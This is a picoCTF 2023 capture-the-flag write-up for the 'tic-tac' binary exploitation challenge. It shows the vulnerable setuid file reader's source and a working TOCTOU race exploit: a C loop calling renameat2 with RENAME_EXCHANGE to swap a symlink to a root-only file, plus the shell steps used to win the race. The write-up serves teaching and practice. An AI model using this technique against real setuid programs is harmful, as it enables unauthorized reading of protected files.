Skip to content

Latest commit

 

History

History
212 lines (171 loc) · 7.1 KB

File metadata and controls

212 lines (171 loc) · 7.1 KB

tic-tac

Challenge information

Points: 200
Tags: picoCTF 2023, Binary Exploitation, linux, bash, toctou
Author: JUNIAS BONOU

Description:
Someone created a program to read text files; we think the program reads files with 
root privileges but apparently it only accepts to read files that are owned by the 
user running it.

ssh to saturn.picoctf.net:61030, and run the binary named "txtreader" once connected. 
Login as ctf-player with the password, 8a707622
 
Hints:
(None)

Challenge link: https://play.picoctf.org/practice/challenge/380

Solution

The challenge title and tags tells us that we should expect a time-of-check to time-of-use (TOC/TOU) race condition.

Connect to the server

We start by connecting to the server with SSH

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2023/Binary_Exploitation/tic-tac]
└─$ ssh -p 61030 ctf-player@saturn.picoctf.net
The authenticity of host '[saturn.picoctf.net]:61030 ([13.59.203.175]:61030)' can't be established.
ED25519 key fingerprint is SHA256:e8pSZxXYptxqGFMvizVN3x1vGmmhC4iDlWjx8/Js5jY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[saturn.picoctf.net]:61030' (ED25519) to the list of known hosts.
ctf-player@saturn.picoctf.net's password: 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.19.0-1024-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

ctf-player@pico-chall$ 

Investigate the scenario

Next, we investigate the available files

ctf-player@pico-chall$ ls -la
total 32
drwxr-xr-x 1 ctf-player ctf-player    20 Oct  1 14:15 .
drwxr-xr-x 1 root       root          24 Aug  4 21:50 ..
drwx------ 2 ctf-player ctf-player    34 Oct  1 14:15 .cache
-rw-r--r-- 1 root       root          67 Aug  4 21:52 .profile
-rw------- 1 root       root          32 Aug  4 21:52 flag.txt
-rw-r--r-- 1 ctf-player ctf-player   912 Mar 16  2023 src.cpp
-rwsr-xr-x 1 root       root       19016 Aug  4 21:52 txtreader
ctf-player@pico-chall$ file txtreader 
txtreader: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5f31c8b2980e334387115245d52f922371573666, for GNU/Linux 3.2.0, not stripped

We have the txtreader program with the Setuid bit set.
And a flag.txt file only readable by root as well as the source code named src.cpp.

Analyse the C++ file

Now we analyse the C++ source

#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>

int main(int argc, char *argv[]) {
  if (argc != 2) {
    std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
    return 1;
  }

  std::string filename = argv[1];
  std::ifstream file(filename);
  struct stat statbuf;

  // Check the file's status information.
  if (stat(filename.c_str(), &statbuf) == -1) {
    std::cerr << "Error: Could not retrieve file information" << std::endl;
    return 1;
  }

  // Check the file's owner.
  if (statbuf.st_uid != getuid()) {
    std::cerr << "Error: you don't own this file" << std::endl;
    return 1;
  }

  // Read the contents of the file.
  if (file.is_open()) {
    std::string line;
    while (getline(file, line)) {
      std::cout << line << std::endl;
    }
  } else {
    std::cerr << "Error: Could not open file" << std::endl;
    return 1;
  }

  return 0;
}

The race condition is between the time-of-check, the if (stat(filename.c_str(), &statbuf) == -1) { line,
and the time-of-use, the if (file.is_open()) { line.

This LiveOverflow video does a good job of describing both the problem and the solution.

Make a work area

Since the home directory isn't writable to us we need to create a work area

ctf-player@pico-chall$ TMP_DIR=$(mktemp -d)
ctf-player@pico-chall$ echo $TMP_DIR
/tmp/tmp.ejxpXrVQv6
ctf-player@pico-chall$ chmod 777 $TMP_DIR
ctf-player@pico-chall$ cd $TMP_DIR

Compile the exploit

Then we create the rename.c exploit described in the video above.

ctf-player@pico-chall$ cat << EOF > rename.c
> #define _GNU_SOURCE
> #include <stdio.h>
> #include <fcntl.h>
> #include <stdio.h>
> #include <unistd.h>
> #include <sys/syscall.h>
> #include <linux/fs.h>
> 
> int main(int argc, char *argv[]) {
>   while (1) {
>     syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
>   }
>   return 0;
> }
> EOF
ctf-player@pico-chall$ 

Neither vi nor vim seemed to be installed so I used a here document instead.

Now we compile

ctf-player@pico-chall$ gcc -o rename rename.c 
ctf-player@pico-chall$ file rename 
rename: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=96a47ccc6a617534efdf3fb5e09207cfcb9dd0e9, for GNU/Linux 3.2.0, not stripped

Prepare the files

The exploit takes two files. One file should be readable by you and the other should be a symbolic link pointing to the file we want to read.

ctf-player@pico-chall$ ln -s ~/flag.txt
ctf-player@pico-chall$ ls -l flag.txt 
lrwxrwxrwx 1 ctf-player ctf-player 25 Oct  1 14:24 flag.txt -> /home/ctf-player/flag.txt
ctf-player@pico-chall$ touch myfile.txt

Run the exploit

Next we run the exploit in the background

ctf-player@pico-chall$ ./rename flag.txt myfile.txt &
[1] 53

Get the flag

Finally, we run the txtreader program and ask for myfile.txt

ctf-player@pico-chall$ ./txtreader $TMP_DIR/myfile.txt
picoCTF{<REDACTED>}

And we get the flag.

For additional information, please see the references below.

References